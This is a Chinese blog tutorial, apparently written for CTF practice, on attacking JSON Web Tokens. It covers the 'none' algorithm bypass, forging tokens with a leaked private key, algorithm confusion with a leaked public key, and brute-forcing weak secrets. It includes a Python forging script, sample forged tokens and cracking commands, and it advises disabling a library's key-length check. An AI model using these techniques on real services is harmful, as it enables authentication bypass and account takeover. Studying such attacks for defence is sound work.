🎼个人主页:金灰
😎作者简介:一名简单的大一学生;易编橙·终身成长社群的嘉宾.✨
专注网络空间安全服务,期待与您的交流分享~
感谢您的点赞、关注、评论、收藏、是对我最大的认可和支持!❤️
🍊易编橙·终身成长社群🍊 : http://t.csdnimg.cn/iSLaP 期待您的加入~
免责声明:本文仅做技术交流与分享...
目录
JWT介绍
例
漏洞点:
当不校验算法时-->替换算法/使用空的算法,达到数据篡改目的
1 私钥泄露
2 公钥泄露
总结加密方式:
总结jwt攻击:
JWT脚本.py:
JWT 爆破工具地址
调试报错
JWT介绍
JWT:
jwt是一个轻量级的认证规范 --对数据进行签名用的.
cookie放到客户端 可以随便改,
--防止数据被篡改1 对数据进行加密 内容对用户敏感,不需要对外
2 对数据进行签名 内容不敏感,但是确保不被篡改JWT是对数据进行签名,防止数据篡改,而不是防止数据被读取 (看到,不能改)JSON Web Token (JWT)
例
?username=admin&score=100 #别人传递过程中,会对积分进行篡改
?username=admin&score=100&token=c17961f5f372f8cf039113909d715943
? md5(score=100&username=admin)=c17961f5f372f8cf039113909d715943
?score=100&username=admin&token=c17961f5f372f8cf039113909d715943篡改数据的同时,破解了算法,篡改了签名加盐机制,salt --->
md5(score=100&username=admin_ctfshow)=20f3fa445b286df3f1a518fcbcd8bbe2盐值有可能被爆破,也有可能被泄露增加更高的密码算法,不再简单的md5,盐值也大幅度提高长度,达到几百上千位 来保证我们的数据不被篡改 或者即使篡改了我们能发现.
漏洞点:
当不校验算法时-->替换算法/使用空的算法,达到数据篡改目的
不校验 headers
{"alg" : "None", //算法 空"typ" : "jwt"
}
{"user" : "Admin"
}{"alg":"None","typ":"JWT"}
{"iss":"admin","iat":1673703091,"exp":1673710291,"nbf":1673703091,"sub":"admin","jti":"21a3d6eec9efbc030983fbc3650c0f03"}ewogICAgImFsZyIgOiAiTm9uZSIsCiAgICAidHlwIiA6ICJqd3QiCn0=.ewogICAgInVzZXIiIDogImFkbWluIgp9
1 私钥泄露
通过泄露的私钥,本地生成一个新的JWT验证字符串,绕过
1 私钥泄露
可以根据私钥生成任意的jwt字符串const jwt = require('jsonwebtoken');
const fs = require('fs');
var privateKey = fs.readFileSync('private.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'RS256' });
console.log(token)验签
2 公钥泄露
可以根据公钥,修改算法从非对称算法 到 对称密钥算法
双方都使用公钥验签,顺利篡改数据
当公钥可以拿到时,如果使用对称密码,则对面使用相同的公钥进行解密
实现验签通过
3密码弱可以爆破
总结加密方式:
1 非对称加密算法 私钥 公钥 (成对出现)只要两个是匹配的, 一个私钥加密的文件,用公钥都能解开(验签)
2 对称加密算法 暗号 口令 公钥
总结jwt攻击:
1 空密码算法绕过 不验证算法的前提下
2 弱密码绕过 猜测弱密码
3 密码爆破 安装docker 执行jwtcracker
4 私钥泄露 直接利用私钥生成正确jwt字符串 过验签
5 公钥泄露 不验证算法前提下,修改算法为对称加密,通过公钥重新生成对称签名的字符串 实现验签通过
JWT脚本.py:
import time
import jwt
# payload
token_dict = {"iss": "admin","iat": 1610432484,"exp": 1610439684,"nbf": 1610432484,"sub": "admin","jti": "efec0205f601a537847ee2dd3ffa81ff"
}# headers
headers = {"alg": "none","typ": "JWT"
}
jwt_token = jwt.encode(token_dict, # payload, 有效载体 key='',headers=headers, # json web token 数据结构包含两部分, payload(有效载体), headers(标头)algorithm="none", # 指明签名算法方式, 默认也是HS256).decode('ascii') # python3 编码后得到 bytes, 再进行解码(指明解码的格式), 得到一个strprint(jwt_token)
JWT 爆破工具地址
GitHub - brendan-rius/c-jwt-cracker: JWT brute force cracker written in C
基于docker docker build . -t jwtcrack
docker run -it --rm jwtcrack
要爆破的签名:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjE
node安装jwt命令: npm install jsonwebtoken #安装完成之后会生成目录(依赖)
--save //表示全局安装
jsonwebtoken版本问题
调试报错
版本15后,最小密钥2048
node_moudle/jsonwebtoken/sign.js
--将报错的地方注释掉. (不建议做法)
-->成功生成